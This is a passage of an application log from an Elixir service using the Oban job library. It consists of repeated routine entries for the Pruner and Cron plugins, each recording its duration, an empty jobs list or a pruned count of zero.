{"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:44.468 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:00.452 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:53:14.469 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:44.470 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:00.453 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:54:14.471 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:44.472 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:00.454 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:55:14.473 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:44.474 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:00.455 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:56:14.475 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:44.476 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:00.456 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:57:14.477 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:44.478 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:00.457 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:58:14.479 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:44.480 [info] {"source":"oban","duration":744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:00.458 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:59:14.481 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:44.482 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:00.459 [info] {"source":"oban","duration":256,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:00:14.483 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:44.484 [info] {"source":"oban","duration":766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:00.460 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:01:14.486 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:44.487 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:00.461 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:02:14.488 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:44.489 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:00.462 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:03:14.490 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:44.491 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:00.463 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:04:14.492 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:44.493 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:00.464 [info] {"source":"oban","duration":106,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:05:14.495 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:44.496 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:00.465 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:06:14.497 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:44.498 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:00.466 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:07:14.499 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:44.500 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:00.467 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:08:14.501 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:44.502 [info] {"source":"oban","duration":839,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:00.468 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:09:14.504 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:44.505 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:00.469 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:10:14.506 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:44.508 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:00.470 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:11:14.509 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:44.510 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:00.471 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:12:14.511 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:44.512 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:00.472 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:13:14.513 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:44.514 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:00.473 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:14:14.515 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:44.516 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:00.474 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:15:14.517 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:44.518 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:00.475 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:16:14.519 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:44.520 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:00.476 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:17:14.521 [info] {"source":"oban","duration":744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:44.522 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:00.477 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:18:14.523 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:44.524 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:00.478 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:19:14.525 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:44.526 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:00.479 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:20:14.527 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:44.528 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:00.480 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:21:14.529 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:44.530 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:00.481 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:22:14.531 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:44.532 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:00.482 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:23:14.533 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:44.534 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:00.483 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:24:14.535 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:44.536 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:00.484 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:25:14.537 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:44.538 [info] {"source":"oban","duration":943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:00.485 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:26:14.540 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:44.541 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:00.486 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:27:14.542 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:44.543 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:00.487 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:28:14.544 [info] {"source":"oban","duration":749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:44.545 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:00.488 [info] {"source":"oban","duration":197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:29:14.546 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:44.547 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:00.490 [info] {"source":"oban","duration":338,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:30:14.549 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:44.550 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:00.490 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:31:14.551 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:44.552 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:00.491 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:32:14.553 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:44.554 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:00.492 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:33:14.555 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:44.556 [info] {"source":"oban","duration":760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:00.493 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:34:14.557 [info] {"source":"oban","duration":859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:44.559 [info] {"source":"oban","duration":785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:00.494 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:35:14.561 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:44.562 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:00.495 [info] {"source":"oban","duration":197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:36:14.563 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:44.564 [info] {"source":"oban","duration":567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:00.496 [info] {"source":"oban","duration":146,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:37:14.565 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:44.566 [info] {"source":"oban","duration":832,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:00.497 [info] {"source":"oban","duration":260,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:38:14.568 [info] {"source":"oban","duration":473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:44.569 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:00.498 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:39:14.571 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:44.572 [info] {"source":"oban","duration":756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:00.499 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:40:14.573 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:44.574 [info] {"source":"oban","duration":829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:00.500 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:41:14.576 [info] {"source":"oban","duration":850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:44.578 [info] {"source":"oban","duration":741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:00.501 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:42:14.579 [info] {"source":"oban","duration":827,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:44.580 [info] {"source":"oban","duration":852,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:00.502 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:43:14.582 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:44.583 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:00.503 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:44:14.584 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:44.585 [info] {"source":"oban","duration":924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:00.504 [info] {"source":"oban","duration":260,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:45:14.587 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:44.588 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:00.505 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:46:14.589 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:44.590 [info] {"source":"oban","duration":837,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:00.506 [info] {"source":"oban","duration":196,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:47:14.592 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:44.593 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:00.507 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:48:14.594 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:44.595 [info] {"source":"oban","duration":828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:00.508 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:49:14.597 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:44.598 [info] {"source":"oban","duration":827,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:00.509 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:50:14.600 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:44.601 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:00.510 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:51:14.602 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:44.603 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:00.511 [info] {"source":"oban","duration":198,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:52:14.604 [info] {"source":"oban","duration":758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:44.606 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:00.512 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:53:14.607 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:44.607 [info] {"source":"oban","duration":456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:00.513 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:54:14.609 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:44.610 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:00.514 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:55:14.611 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:44.612 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:00.515 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:56:14.613 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:44.614 [info] {"source":"oban","duration":822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:00.516 [info] {"source":"oban","duration":270,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:57:14.616 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:44.617 [info] {"source":"oban","duration":823,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:00.517 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:58:14.619 [info] {"source":"oban","duration":792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:44.621 [info] {"source":"oban","duration":744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:00.519 [info] {"source":"oban","duration":354,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:59:14.622 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:44.623 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:00.519 [info] {"source":"oban","duration":190,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:00:14.624 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:44.625 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:00.520 [info] {"source":"oban","duration":158,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:01:14.626 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:44.627 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:00.521 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:02:14.628 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:44.629 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:00.522 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:03:14.630 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:44.631 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:00.523 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:04:14.632 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:44.633 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:00.524 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:05:14.634 [info] {"source":"oban","duration":784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:44.636 [info] {"source":"oban","duration":808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:00.525 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:06:14.638 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:44.639 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:00.526 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:07:14.640 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:44.641 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:00.527 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:08:14.642 [info] {"source":"oban","duration":491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:44.643 [info] {"source":"oban","duration":510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:00.528 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:09:14.643 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:44.645 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:00.529 [info] {"source":"oban","duration":273,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:10:14.646 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:44.647 [info] {"source":"oban","duration":818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:00.530 [info] {"source":"oban","duration":283,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:11:14.649 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:44.650 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:12:00.531 [info] 